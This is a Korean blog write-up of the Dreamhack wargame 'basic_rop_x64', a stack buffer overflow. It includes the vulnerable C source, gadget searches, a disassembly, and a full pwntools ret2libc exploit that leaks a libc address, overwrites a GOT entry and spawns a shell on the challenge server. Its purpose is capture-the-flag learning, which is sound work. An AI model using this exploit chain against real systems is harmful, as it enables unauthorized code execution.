Wargame/Dreamhack

basic_rop_x64

wyv3rn 2022. 7. 22. 18:22
728x90
반응형

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

이 전 기본 문제에서는 주소를 하나하나 구해서 기입했지만, 이번에는 ELF 함수를 써서 조금 더 작성하기 쉽게, 보기 쉽게 코드를 짜보자.

전체적인 페이로드는
코드에서 read & write 시 read의 실제 함수 주소를 구하고 동시에 read 함수를 한번 더 실행하면서 read got에 overwrite할 준비를 하고, 다시 한번 read 함수를 실행하면서 system 함수의 주소와 /bin/sh의 문자열을 전달
하면 될 것이다.

ELF를 사용할 것이기에 필요한 것은 gadget 뿐이다.

┌──(kali㉿kali)-[~/Downloads/1]
└─$ ROPgadget --binary basic_rop_x64 | grep 'rdi ; ret'
0x0000000000400883 : pop rdi ; ret

┌──(kali㉿kali)-[~/Downloads/1]
└─$ ROPgadget --binary basic_rop_x64 | grep rsi
0x0000000000400715 : outsb dx, byte ptr [rsi] ; or dword ptr [rax], esp ; add byte ptr [rcx], al ; ret
0x0000000000400881 : pop rsi ; pop r15 ; ret
0x0000000000400737 : sal byte ptr [rcx + rsi*8 + 0x55], 0x48 ; mov ebp, esp ; call rax

앞선 문제와 마찬가지로 rdx는 찾기 어려운데 어차피 코드에서 read 및 write 함수가 각각 0x400, 0x40의 rdx 값을 가지고 있을 것으로 예상되기에 없는 상태로 해보자.

마지막으로 buf 변수의 위치 확인.

...
   0x00000000004007e7 <+45>:    lea    -0x40(%rbp),%rax
   0x00000000004007eb <+49>:    mov    $0x400,%edx
   0x00000000004007f0 <+54>:    mov    %rax,%rsi
   0x00000000004007f3 <+57>:    mov    $0x0,%edi
   0x00000000004007f8 <+62>:    call   0x4005f0 <read@plt>
   0x00000000004007fd <+67>:    lea    -0x40(%rbp),%rax
   0x0000000000400801 <+71>:    mov    $0x40,%edx
   0x0000000000400806 <+76>:    mov    %rax,%rsi
   0x0000000000400809 <+79>:    mov    $0x1,%edi
   0x000000000040080e <+84>:    call   0x4005d0 <write@plt>
...

이제 코드를 작성해보면

from pwn import *

p = remote('host3.dreamhack.games',18598)
#p = process('./basic_rop_x64')
e = ELF('./basic_rop_x64')
libc = ELF('./libc.so.6')

puts_plt = e.plt['puts']
read_plt = e.plt['read']
read_got = e.got['read']

rdi_ret = 0x0400883
rsi_r15_ret = 0x400881

dummy = b'A'*(0x40+8)

#print read got

pay = b''
pay += dummy
pay += p64(rdi_ret) + p64(read_got)
pay += p64(puts_plt)

#overwrite read got to system address

pay += p64(rdi_ret) + p64(0)
pay += p64(rsi_r15_ret) + p64(read_got) + p64(0)
pay += p64(read_plt)

#call read = call system with /bin/sh

pay += p64(rdi_ret) + p64(read_got + 8)
pay += p64(read_plt)

p.sendline(pay)
p.recv(72)
read_add = u64(p.recv(6) + b'\x00\x00')
p.recv(1)
system_add = read_add - libc.symbols['read'] + libc.symbols['system']

pay2 = b''
pay2 += p64(system_add) + b'/bin/sh'

print(hex(read_add))
print(hex(system_add))

p.send(pay2)
p.interactive()
┌──(kali㉿kali)-[~/Downloads/1]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 18598: Done
[*] '/home/kali/Downloads/1/basic_rop_x64'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/kali/Downloads/1/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
0x7efec7092250
0x7efec6fe0390
[*] Switching to interactive mode
$ id
uid=1000(basic_rop_x64) gid=1000(basic_rop_x64) groups=1000(basic_rop_x64)
$ cat flag
DH{----------#플래그는 삭제}
728x90
반응형